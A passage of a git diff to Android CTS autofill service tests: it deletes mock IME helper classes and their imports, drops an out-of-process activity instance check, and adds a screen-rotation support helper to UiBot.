diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 2adb512..3edce2c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -86,10 +86,6 @@
import android.view.autofill.AutofillManager;
import android.widget.RemoteViews;
-import com.android.cts.mockime.ImeCommand;
-import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.MockImeSession;
-
import org.junit.Test;
import java.util.concurrent.CountDownLatch;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
index ff955dd..6f6b75a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
@@ -89,7 +89,6 @@
Log.e(TAG, "could write destroyed marker: " + e);
}
super.onDestroy();
- sInstance = null;
}
/**
@@ -128,8 +127,4 @@
sInstance.finish();
}
}
-
- public static boolean hasInstance() {
- return sInstance != null;
- }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index 18ef5aa..039dc22 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -47,7 +47,6 @@
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
import android.view.autofill.AutofillValue;
import org.junit.After;
@@ -61,8 +60,6 @@
*/
@AppModeFull // This test requires android.permission.WRITE_EXTERNAL_STORAGE
public class SessionLifecycleTest extends AutoFillServiceTestCase {
- private static final String TAG = "SessionLifecycleTest";
-
private static final String ID_BUTTON = "button";
private static final String ID_CANCEL = "cancel";
@@ -109,10 +106,6 @@
+ "-n android.autofillservice.cts/.OutOfProcessLoginActivityFinisherReceiver");
mUiBot.assertGoneByRelativeId(ID_USERNAME, Timeouts.ACTIVITY_RESURRECTION);
- if (!OutOfProcessLoginActivity.hasInstance()) {
- Log.v(TAG, "@After: Not waiting for oop activity to be destroyed");
- return;
- }
// Waiting for activity to be destroyed (destroy marker appears)
eventually("getDestroyedMarker()", () -> {
return getDestroyedMarker(getContext()).exists();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 1fe998e..90358ab 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -93,6 +93,8 @@
"autofill_picker_accessibility_title";
private static final String RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE =
"autofill_save_accessibility_title";
+ private static final String RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION =
+ "config_forceDefaultOrientation";
static final BySelector DATASET_PICKER_SELECTOR = By.res("android", RESOURCE_ID_DATASET_PICKER);
@@ -872,4 +874,18 @@
final int booleanId = resources.getIdentifier(id, "bool", "android");
return resources.getBoolean(booleanId);
}
-}
+
+ /**
+ * Returns {@code true} if display rotation is supported, {@code false} otherwise.
+ */
+ public boolean isScreenRotationSupported() {
+ try {
+ return !getBoolean(RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION);
+ } catch (Resources.NotFoundException e) {
+ Log.d(TAG, "Resource not found: "
+ + RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION
+ + ". Assume rotation supported");
+ return true;
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeCommand.java b/tests/autofillservice/src/com/android/cts/mockime/ImeCommand.java
deleted file mode 100644
index ad81eb5..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeCommand.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.Bundle;
-import androidx.annotation.NonNull;
-
-public final class ImeCommand {
-
- private static final String NAME_KEY = "name";
- private static final String ID_KEY = "id";
- private static final String DISPATCH_TO_MAIN_THREAD_KEY = "dispatchToMainThread";
- private static final String EXTRA_KEY = "extra";
-
- @NonNull
- private final String mName;
- private final long mId;
- private final boolean mDispatchToMainThread;
- @NonNull
- private final Bundle mExtras;
-
- ImeCommand(@NonNull String name, long id, boolean dispatchToMainThread,
- @NonNull Bundle extras) {
- mName = name;
- mId = id;
- mDispatchToMainThread = dispatchToMainThread;
- mExtras = extras;
- }
-
- private ImeCommand(@NonNull Bundle bundle) {
- mName = bundle.getString(NAME_KEY);
- mId = bundle.getLong(ID_KEY);
- mDispatchToMainThread = bundle.getBoolean(DISPATCH_TO_MAIN_THREAD_KEY);
- mExtras = bundle.getParcelable(EXTRA_KEY);
- }
-
- static ImeCommand fromBundle(@NonNull Bundle bundle) {
- return new ImeCommand(bundle);
- }
-
- Bundle toBundle() {
- final Bundle bundle = new Bundle();
- bundle.putString(NAME_KEY, mName);
- bundle.putLong(ID_KEY, mId);
- bundle.putBoolean(DISPATCH_TO_MAIN_THREAD_KEY, mDispatchToMainThread);
- bundle.putParcelable(EXTRA_KEY, mExtras);
- return bundle;
- }
-
- @NonNull
- public String getName() {
- return mName;
- }
-
- public long getId() {
- return mId;
- }
-
- public boolean shouldDispatchToMainThread() {
- return mDispatchToMainThread;
- }
-
- @NonNull
- public Bundle getExtras() {
- return mExtras;
- }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeEvent.java b/tests/autofillservice/src/com/android/cts/mockime/ImeEvent.java
deleted file mode 100644
index d4090fb..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeEvent.java
+++ /dev/null
@@ -1,290 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.inputmethodservice.AbstractInputMethodService;
-import android.os.Bundle;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.view.View;
-
-/**
- * An immutable object that stores event happened in the {@link MockIme}.
- */
-public final class ImeEvent {
-
- private enum ReturnType {
- Null,
- KnownUnsupportedType,
- Boolean,
- }
-
- private static ReturnType getReturnTypeFromObject(@Nullable Object object) {
- if (object == null) {
- return ReturnType.Null;
- }
- if (object instanceof AbstractInputMethodService.AbstractInputMethodImpl) {
- return ReturnType.KnownUnsupportedType;
- }
- if (object instanceof View) {
- return ReturnType.KnownUnsupportedType;
- }
- if (object instanceof Boolean) {
- return ReturnType.Boolean;
- }
- throw new UnsupportedOperationException("Unsupported return type=" + object);
- }
-
- ImeEvent(@NonNull String eventName, int nestLevel, @NonNull String threadName, int threadId,
- boolean isMainThread, long enterTimestamp, long exitTimestamp, long enterWallTime,
- long exitWallTime, @NonNull ImeState enterState, @Nullable ImeState exitState,
- @NonNull Bundle arguments, @Nullable Object returnValue) {
- this(eventName, nestLevel, threadName, threadId, isMainThread, enterTimestamp,
- exitTimestamp, enterWallTime, exitWallTime, enterState, exitState, arguments,
- returnValue, getReturnTypeFromObject(returnValue));
- }
-
- private ImeEvent(@NonNull String eventName, int nestLevel, @NonNull String threadName,
- int threadId, boolean isMainThread, long enterTimestamp, long exitTimestamp,
- long enterWallTime, long exitWallTime, @NonNull ImeState enterState,
- @Nullable ImeState exitState, @NonNull Bundle arguments, @Nullable Object returnValue,
- @NonNull ReturnType returnType) {
- mEventName = eventName;
- mNestLevel = nestLevel;
- mThreadName = threadName;
- mThreadId = threadId;
- mIsMainThread = isMainThread;
- mEnterTimestamp = enterTimestamp;
- mExitTimestamp = exitTimestamp;
- mEnterWallTime = enterWallTime;
- mExitWallTime = exitWallTime;
- mEnterState = enterState;
- mExitState = exitState;
- mArguments = arguments;
- mReturnValue = returnValue;
- mReturnType = returnType;
- }
-
- @NonNull
- Bundle toBundle() {
- final Bundle bundle = new Bundle();
- bundle.putString("mEventName", mEventName);
- bundle.putInt("mNestLevel", mNestLevel);
- bundle.putString("mThreadName", mThreadName);
- bundle.putInt("mThreadId", mThreadId);
- bundle.putBoolean("mIsMainThread", mIsMainThread);
- bundle.putLong("mEnterTimestamp", mEnterTimestamp);
- bundle.putLong("mExitTimestamp", mExitTimestamp);
- bundle.putLong("mEnterWallTime", mEnterWallTime);
- bundle.putLong("mExitWallTime", mExitWallTime);
- bundle.putBundle("mEnterState", mEnterState.toBundle());
- bundle.putBundle("mExitState", mExitState != null ? mExitState.toBundle() : null);
- bundle.putBundle("mArguments", mArguments);
- bundle.putString("mReturnType", mReturnType.name());
- switch (mReturnType) {
- case Null:
- case KnownUnsupportedType:
- break;
- case Boolean:
- bundle.putBoolean("mReturnValue", getReturnBooleanValue());
- break;
- default:
- throw new UnsupportedOperationException("Unsupported type=" + mReturnType);
- }
- return bundle;
- }
-
- @NonNull
- static ImeEvent fromBundle(@NonNull Bundle bundle) {
- final String eventName = bundle.getString("mEventName");
- final int nestLevel = bundle.getInt("mNestLevel");
- final String threadName = bundle.getString("mThreadName");
- final int threadId = bundle.getInt("mThreadId");
- final boolean isMainThread = bundle.getBoolean("mIsMainThread");
- final long enterTimestamp = bundle.getLong("mEnterTimestamp");
- final long exitTimestamp = bundle.getLong("mExitTimestamp");
- final long enterWallTime = bundle.getLong("mEnterWallTime");
- final long exitWallTime = bundle.getLong("mExitWallTime");
- final ImeState enterState = ImeState.fromBundle(bundle.getBundle("mEnterState"));
- final ImeState exitState = ImeState.fromBundle(bundle.getBundle("mExitState"));
- final Bundle arguments = bundle.getBundle("mArguments");
- final Object result;
- final ReturnType returnType = ReturnType.valueOf(bundle.getString("mReturnType"));
- switch (returnType) {
- case Null:
- case KnownUnsupportedType:
- result = null;
- break;
- case Boolean:
- result = bundle.getBoolean("mReturnValue");
- break;
- default:
- throw new UnsupportedOperationException("Unsupported type=" + returnType);
- }
- return new ImeEvent(eventName, nestLevel, threadName,
- threadId, isMainThread, enterTimestamp, exitTimestamp, enterWallTime, exitWallTime,
- enterState, exitState, arguments, result, returnType);
- }
-
- /**
- * Returns a string that represents the type of this event.
- *
- * <p>Examples: "onCreate", "onStartInput", ...</p>
- *
- * <p>TODO: Use enum type or something like that instead of raw String type.</p>
- * @return A string that represents the type of this event.
- */
- @NonNull
- public String getEventName() {
- return mEventName;
- }
-
- /**
- * Returns the nest level of this event.
- *
- * <p>For instance, when "showSoftInput" internally calls
- * "onStartInputView", the event for "onStartInputView" has 1 level higher
- * nest level than "showSoftInput".</p>
- */
- public int getNestLevel() {
- return mNestLevel;
- }
-
- /**
- * @return Name of the thread, where the event was consumed.
- */
- @NonNull
- public String getThreadName() {
- return mThreadName;
- }
-
- /**
- * @return Thread ID (TID) of the thread, where the event was consumed.
- */
- public int getThreadId() {
- return mThreadId;
- }
-
- /**
- * @return {@code true} if the event was being consumed in the main thread.
- */
- public boolean isMainThread() {
- return mIsMainThread;
- }
-
- /**
- * @return Monotonic time measured by {@link android.os.SystemClock#elapsedRealtimeNanos()} when
- * the corresponding event handler was called back.
- */
- public long getEnterTimestamp() {
- return mEnterTimestamp;
- }
-
- /**
- * @return Monotonic time measured by {@link android.os.SystemClock#elapsedRealtimeNanos()} when
- * the corresponding event handler finished.
- */
- public long getExitTimestamp() {
- return mExitTimestamp;
- }
-
- /**
- * @return Wall-clock time measured by {@link System#currentTimeMillis()} when the corresponding
- * event handler was called back.
- */
- public long getEnterWallTime() {
- return mEnterWallTime;
- }
-
- /**
- * @return Wall-clock time measured by {@link System#currentTimeMillis()} when the corresponding
- * event handler finished.
- */
- public long getExitWallTime() {
- return mExitWallTime;
- }
-
- /**
- * @return IME state snapshot taken when the corresponding event handler was called back.
- */
- @NonNull
- public ImeState getEnterState() {
- return mEnterState;
- }
-
- /**
- * @return IME state snapshot taken when the corresponding event handler finished.
- */
- @Nullable
- public ImeState getExitState() {
- return mExitState;
- }
-
- /**
- * @return {@link Bundle} that stores parameters passed to the corresponding event handler.
- */
- @NonNull
- public Bundle getArguments() {
- return mArguments;
- }
-
- /**
- * @return result value of this event.
- * @throws NullPointerException if the return value is {@code null}
- * @throws ClassCastException if the return value is non-{@code null} object that is different
- * from {@link Boolean}
- */
- public boolean getReturnBooleanValue() {
- if (mReturnType == ReturnType.Null) {
- throw new NullPointerException();
- }
- if (mReturnType != ReturnType.Boolean) {
- throw new ClassCastException();
- }
- return (Boolean) mReturnValue;
- }
-
- /**
- * @return {@code true} if the event is issued when the event starts, not when the event
- * finishes.
- */
- public boolean isEnterEvent() {
- return mExitState == null;
- }
-
- @NonNull
- private final String mEventName;
- private final int mNestLevel;
- @NonNull
- private final String mThreadName;
- private final int mThreadId;
- private final boolean mIsMainThread;
- private final long mEnterTimestamp;
- private final long mExitTimestamp;
- private final long mEnterWallTime;
- private final long mExitWallTime;
- @NonNull
- private final ImeState mEnterState;
- @Nullable
- private final ImeState mExitState;
- @NonNull
- private final Bundle mArguments;
- @Nullable
- private final Object mReturnValue;
- @NonNull
- private final ReturnType mReturnType;
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStream.java b/tests/autofillservice/src/com/android/cts/mockime/ImeEventStream.java
deleted file mode 100644
index d866da0..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStream.java
+++ /dev/null
@@ -1,251 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.Bundle;
-import androidx.annotation.IntRange;
-import androidx.annotation.NonNull;
-import android.view.inputmethod.EditorInfo;
-
-import java.time.Instant;
-import java.time.ZoneId;
-import java.time.format.DateTimeFormatter;
-import java.util.Arrays;
-import java.util.Optional;
-import java.util.function.Predicate;
-import java.util.function.Supplier;
-
-/**
- * A utility class that provides basic query operations and wait primitives for a series of
- * {@link ImeEvent} sent from the {@link MockIme}.
- *
- * <p>All public methods are not thread-safe.</p>
- */
-public final class ImeEventStream {
-
- private static final String LONG_LONG_SPACES = " ";
-
- private static DateTimeFormatter sSimpleDateTimeFormatter =
- DateTimeFormatter.ofPattern("MM-dd HH:mm:ss.SSS").withZone(ZoneId.systemDefault());
-
- @NonNull
- private final Supplier<ImeEventArray> mEventSupplier;
- private int mCurrentPosition;
-
- ImeEventStream(@NonNull Supplier<ImeEventArray> supplier) {
- this(supplier, 0 /* position */);
- }
-
- private ImeEventStream(@NonNull Supplier<ImeEventArray> supplier, int position) {
- mEventSupplier = supplier;
- mCurrentPosition = position;
- }
-
- /**
- * Create a copy that starts from the same event position of this stream. Once a copy is created
- * further event position change on this stream will not affect the copy.
- *
- * @return A new copy of this stream
- */
- public ImeEventStream copy() {
- return new ImeEventStream(mEventSupplier, mCurrentPosition);
- }
-
- /**
- * Advances the current event position by skipping events.
- *
- * @param length number of events to be skipped
- * @throws IllegalArgumentException {@code length} is negative
- */
- public void skip(@IntRange(from = 0) int length) {
- if (length < 0) {
- throw new IllegalArgumentException("length cannot be negative: " + length);
- }
- mCurrentPosition += length;
- }
-
- /**
- * Advances the current event position to the next to the last position.
- */
- public void skipAll() {
- mCurrentPosition = mEventSupplier.get().mLength;
- }
-
- /**
- * Find the first event that matches the given condition from the current position.
- *
- * <p>If there is such an event, this method returns such an event without moving the current
- * event position.</p>
- *
- * <p>If there is such an event, this method returns {@link Optional#empty()} without moving the
- * current event position.</p>
- *
- * @param condition the event condition to be matched
- * @return {@link Optional#empty()} if there is no such an event. Otherwise the matched event is
- * returned
- */
- @NonNull
- public Optional<ImeEvent> findFirst(Predicate<ImeEvent> condition) {
- final ImeEventArray latest = mEventSupplier.get();
- int index = mCurrentPosition;
- while (true) {
- if (index >= latest.mLength) {
- return Optional.empty();
- }
- if (condition.test(latest.mArray[index])) {
- return Optional.of(latest.mArray[index]);
- }
- ++index;
- }
- }
-
- /**
- * Find the first event that matches the given condition from the current position.
- *
- * <p>If there is such an event, this method returns such an event and set the current event
- * position to that event.</p>
- *
- * <p>If there is such an event, this method returns {@link Optional#empty()} without moving the
- * current event position.</p>
- *
- * @param condition the event condition to be matched
- * @return {@link Optional#empty()} if there is no such an event. Otherwise the matched event is
- * returned
- */
- @NonNull
- public Optional<ImeEvent> seekToFirst(Predicate<ImeEvent> condition) {
- final ImeEventArray latest = mEventSupplier.get();
- while (true) {
- if (mCurrentPosition >= latest.mLength) {
- return Optional.empty();
- }
- if (condition.test(latest.mArray[mCurrentPosition])) {
- return Optional.of(latest.mArray[mCurrentPosition]);
- }
- ++mCurrentPosition;
- }
- }
-
- private static void dumpEvent(@NonNull StringBuilder sb, @NonNull ImeEvent event,
- boolean fused) {
- final String indentation = getWhiteSpaces(event.getNestLevel() * 2 + 2);
- final long wallTime =
- fused ? event.getEnterWallTime() :
- event.isEnterEvent() ? event.getEnterWallTime() : event.getExitWallTime();
- sb.append(sSimpleDateTimeFormatter.format(Instant.ofEpochMilli(wallTime)))
- .append(" ")
- .append(String.format("%5d", event.getThreadId()))
- .append(indentation);
- sb.append(fused ? "" : event.isEnterEvent() ? "[" : "]");
- if (fused || event.isEnterEvent()) {
- sb.append(event.getEventName())
- .append(':')
- .append(" args=");
- dumpBundle(sb, event.getArguments());
- }
- sb.append('\n');
- }
-
- /**
- * @return Debug info as a {@link String}.
- */
- public String dump() {
- final ImeEventArray latest = mEventSupplier.get();
- final StringBuilder sb = new StringBuilder();
- sb.append("ImeEventStream:\n");
- sb.append(" latest: array[").append(latest.mArray.length).append("] + {\n");
- for (int i = 0; i < latest.mLength; ++i) {
- // To compress the dump message, if the current event is an enter event and the next
- // one is a corresponding exit event, we unify the output.
- final boolean fused = areEnterExitPairedMessages(latest, i);
- if (i == mCurrentPosition || (fused && ((i + 1) == mCurrentPosition))) {
- sb.append(" ======== CurrentPosition ======== \n");
- }
- dumpEvent(sb, latest.mArray[fused ? ++i : i], fused);
- }
- if (mCurrentPosition >= latest.mLength) {
- sb.append(" ======== CurrentPosition ======== \n");
- }
- sb.append("}\n");
- return sb.toString();
- }
-
- /**
- * @param array event array to be checked
- * @param i index to be checked
- * @return {@code true} if {@code array.mArray[i]} and {@code array.mArray[i + 1]} are two
- * paired events.
- */
- private static boolean areEnterExitPairedMessages(@NonNull ImeEventArray array,
- @IntRange(from = 0) int i) {
- return array.mArray[i] != null
- && array.mArray[i].isEnterEvent()
- && (i + 1) < array.mLength
- && array.mArray[i + 1] != null
- && array.mArray[i].getEventName().equals(array.mArray[i + 1].getEventName())
- && array.mArray[i].getEnterTimestamp() == array.mArray[i + 1].getEnterTimestamp();
- }
-
- /**
- * @param length length of the requested white space string
- * @return {@link String} object whose length is {@code length}
- */
- private static String getWhiteSpaces(@IntRange(from = 0) final int length) {
- if (length < LONG_LONG_SPACES.length()) {
- return LONG_LONG_SPACES.substring(0, length);
- }
- final char[] indentationChars = new char[length];
- Arrays.fill(indentationChars, ' ');
- return new String(indentationChars);
- }
-
- private static void dumpBundle(@NonNull StringBuilder sb, @NonNull Bundle bundle) {
- sb.append('{');
- boolean first = true;
- for (String key : bundle.keySet()) {
- if (first) {
- first = false;
- } else {
- sb.append(' ');
- }
- final Object object = bundle.get(key);
- sb.append(key);
- sb.append('=');
- if (object instanceof EditorInfo) {
- final EditorInfo info = (EditorInfo) object;
- sb.append("EditorInfo{packageName=").append(info.packageName);
- sb.append(" fieldId=").append(info.fieldId);
- sb.append(" hintText=").append(info.hintText);
- sb.append(" privateImeOptions=").append(info.privateImeOptions);
- sb.append("}");
- } else {
- sb.append(object);
- }
- }
- sb.append('}');
- }
-
- static class ImeEventArray {
- @NonNull
- public final ImeEvent[] mArray;
- public final int mLength;
- ImeEventArray(ImeEvent[] array, int length) {
- mArray = array;
- mLength = length;
- }
- }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/autofillservice/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
deleted file mode 100644
index 8497268..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ /dev/null
@@ -1,329 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.SystemClock;
-import androidx.annotation.NonNull;
-import android.text.TextUtils;
-import android.view.inputmethod.EditorInfo;
-import android.view.inputmethod.InputBinding;
-
-import java.util.Optional;
-import java.util.concurrent.TimeoutException;
-import java.util.function.Predicate;
-
-/**
- * A set of utility methods to avoid boilerplate code when writing end-to-end tests.
- */
-public final class ImeEventStreamTestUtils {
- private static final long TIME_SLICE = 50; // msec
-
- /**
- * Cannot be instantiated
- */
- private ImeEventStreamTestUtils() {}
-
- /**
- * Behavior mode of {@link #expectEvent(ImeEventStream, Predicate, EventFilterMode, long)}
- */
- public enum EventFilterMode {
- /**
- * All {@link ImeEvent} events should be checked
- */
- CHECK_ALL,
- /**
- * Only events that return {@code true} from {@link ImeEvent#isEnterEvent()} should be
- * checked
- */
- CHECK_ENTER_EVENT_ONLY,
- /**
- * Only events that return {@code false} from {@link ImeEvent#isEnterEvent()} should be
- * checked
- */
- CHECK_EXIT_EVENT_ONLY,
- }
-
- /**
- * Wait until an event that matches the given {@code condition} is found in the stream.
- *
- * <p>When this method succeeds to find an event that matches the given {@code condition}, the
- * stream position will be set to the next to the found object then the event found is returned.
- * </p>
- *
- * <p>For convenience, this method automatically filter out exit events (events that return
- * {@code false} from {@link ImeEvent#isEnterEvent()}.</p>
- *
- * <p>TODO: Consider renaming this to {@code expectEventEnter} or something like that.</p>
- *
- * @param stream {@link ImeEventStream} to be checked.
- * @param condition the event condition to be matched
- * @param timeout timeout in millisecond
- * @return {@link ImeEvent} found
- * @throws TimeoutException when the no event is matched to the given condition within
- * {@code timeout}
- */
- @NonNull
- public static ImeEvent expectEvent(@NonNull ImeEventStream stream,
- @NonNull Predicate<ImeEvent> condition, long timeout) throws TimeoutException {
- return expectEvent(stream, condition, EventFilterMode.CHECK_ENTER_EVENT_ONLY, timeout);
- }
-
- /**
- * Wait until an event that matches the given {@code condition} is found in the stream.
- *
- * <p>When this method succeeds to find an event that matches the given {@code condition}, the
- * stream position will be set to the next to the found object then the event found is returned.
- * </p>
- *
- * @param stream {@link ImeEventStream} to be checked.
- * @param condition the event condition to be matched
- * @param filterMode controls how events are filtered out
- * @param timeout timeout in millisecond
- * @return {@link ImeEvent} found
- * @throws TimeoutException when the no event is matched to the given condition within
- * {@code timeout}
- */
- @NonNull
- public static ImeEvent expectEvent(@NonNull ImeEventStream stream,
- @NonNull Predicate<ImeEvent> condition, EventFilterMode filterMode, long timeout)
- throws TimeoutException {
- try {
- Optional<ImeEvent> result;
- while (true) {
- if (timeout < 0) {
- throw new TimeoutException(
- "event not found within the timeout: " + stream.dump());
- }
- final Predicate<ImeEvent> combinedCondition;
- switch (filterMode) {
- case CHECK_ALL:
- combinedCondition = condition;
- break;
- case CHECK_ENTER_EVENT_ONLY:
- combinedCondition = event -> event.isEnterEvent() && condition.test(event);
- break;
- case CHECK_EXIT_EVENT_ONLY:
- combinedCondition = event -> !event.isEnterEvent() && condition.test(event);
- break;
- default:
- throw new IllegalArgumentException("Unknown filterMode " + filterMode);
- }
- result = stream.seekToFirst(combinedCondition);
- if (result.isPresent()) {
- break;
- }
- Thread.sleep(TIME_SLICE);
- timeout -= TIME_SLICE;
- }
- final ImeEvent event = result.get();
- if (event == null) {
- throw new NullPointerException("found event is null: " + stream.dump());
- }
- stream.skip(1);
- return event;
- } catch (InterruptedException e) {
- throw new RuntimeException("expectEvent failed: " + stream.dump(), e);
- }
- }
-
- /**
- * Checks if {@param eventName} has occurred on the EditText(or TextView) of the current
- * activity.
- * @param eventName event name to check
- * @param marker Test marker set to {@link android.widget.EditText#setPrivateImeOptions(String)}
- * @return true if event occurred.
- */
- public static Predicate<ImeEvent> editorMatcher(
- @NonNull String eventName, @NonNull String marker) {
- return event -> {
- if (!TextUtils.equals(eventName, event.getEventName())) {
- return false;
- }
- final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
- return TextUtils.equals(marker, editorInfo.privateImeOptions);
- };
- }
-
- /**
- * Checks if {@code eventName} has occurred on the EditText(or TextView) of the current
- * activity.
- * @param eventName event name to check
- * @param fieldId typically same as {@link android.view.View#getId()}.
- * @return true if event occurred.
- */
- public static Predicate<ImeEvent> editorMatcher(@NonNull String eventName, int fieldId) {
- return event -> {
- if (!TextUtils.equals(eventName, event.getEventName())) {
- return false;
- }
- final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
- return fieldId == editorInfo.fieldId;
- };
- }
-
- /**
- * Wait until an event that matches the given command is consumed by the {@link MockIme}.
- *
- * <p>For convenience, this method automatically filter out enter events (events that return
- * {@code true} from {@link ImeEvent#isEnterEvent()}.</p>
- *
- * <p>TODO: Consider renaming this to {@code expectCommandConsumed} or something like that.</p>
- *
- * @param stream {@link ImeEventStream} to be checked.
- * @param command {@link ImeCommand} to be waited for.
- * @param timeout timeout in millisecond
- * @return {@link ImeEvent} found
- * @throws TimeoutException when the no event is matched to the given condition within
- * {@code timeout}
- */
- @NonNull
- public static ImeEvent expectCommand(@NonNull ImeEventStream stream,
- @NonNull ImeCommand command, long timeout) throws TimeoutException {
- final Predicate<ImeEvent> predicate = event -> {
- if (!TextUtils.equals("onHandleCommand", event.getEventName())) {
- return false;
- }
- final ImeCommand eventCommand =
- ImeCommand.fromBundle(event.getArguments().getBundle("command"));
- return eventCommand.getId() == command.getId();
- };
- return expectEvent(stream, predicate, EventFilterMode.CHECK_EXIT_EVENT_ONLY, timeout);
- }
-
- /**
- * Assert that an event that matches the given {@code condition} will no be found in the stream
- * within the given {@code timeout}.
- *
- * <p>When this method succeeds, the stream position will not change.</p>
- *
- * <p>For convenience, this method automatically filter out exit events (events that return
- * {@code false} from {@link ImeEvent#isEnterEvent()}.</p>
- *
- * <p>TODO: Consider renaming this to {@code notExpectEventEnter} or something like that.</p>
- *
- * @param stream {@link ImeEventStream} to be checked.
- * @param condition the event condition to be matched
- * @param timeout timeout in millisecond
- * @throws AssertionError if such an event is found within the given {@code timeout}
- */
- public static void notExpectEvent(@NonNull ImeEventStream stream,
- @NonNull Predicate<ImeEvent> condition, long timeout) {
- notExpectEvent(stream, condition, EventFilterMode.CHECK_ENTER_EVENT_ONLY, timeout);
- }
-
- /**
- * Assert that an event that matches the given {@code condition} will no be found in the stream
- * within the given {@code timeout}.
- *
- * <p>When this method succeeds, the stream position will not change.</p>
- *
- * @param stream {@link ImeEventStream} to be checked.
- * @param condition the event condition to be matched
- * @param filterMode controls how events are filtered out
- * @param timeout timeout in millisecond
- * @throws AssertionError if such an event is found within the given {@code timeout}
- */
- public static void notExpectEvent(@NonNull ImeEventStream stream,
- @NonNull Predicate<ImeEvent> condition, EventFilterMode filterMode, long timeout) {
- final Predicate<ImeEvent> combinedCondition;
- switch (filterMode) {
- case CHECK_ALL:
- combinedCondition = condition;
- break;
- case CHECK_ENTER_EVENT_ONLY:
- combinedCondition = event -> event.isEnterEvent() && condition.test(event);
- break;
- case CHECK_EXIT_EVENT_ONLY:
- combinedCondition = event -> !event.isEnterEvent() && condition.test(event);
- break;
- default:
- throw new IllegalArgumentException("Unknown filterMode " + filterMode);
- }
- try {
- while (true) {
- if (timeout < 0) {
- return;
- }
- if (stream.findFirst(combinedCondition).isPresent()) {
- throw new AssertionError("notExpectEvent failed: " + stream.dump());
- }
- Thread.sleep(TIME_SLICE);
- timeout -= TIME_SLICE;
- }
- } catch (InterruptedException e) {
- throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
- }
- }
-
- /**
- * A specialized version of {@link #expectEvent(ImeEventStream, Predicate, long)} to wait for
- * {@link android.view.inputmethod.InputMethod#bindInput(InputBinding)}.
- *
- * @param stream {@link ImeEventStream} to be checked.
- * @param targetProcessPid PID to be matched to {@link InputBinding#getPid()}
- * @param timeout timeout in millisecond
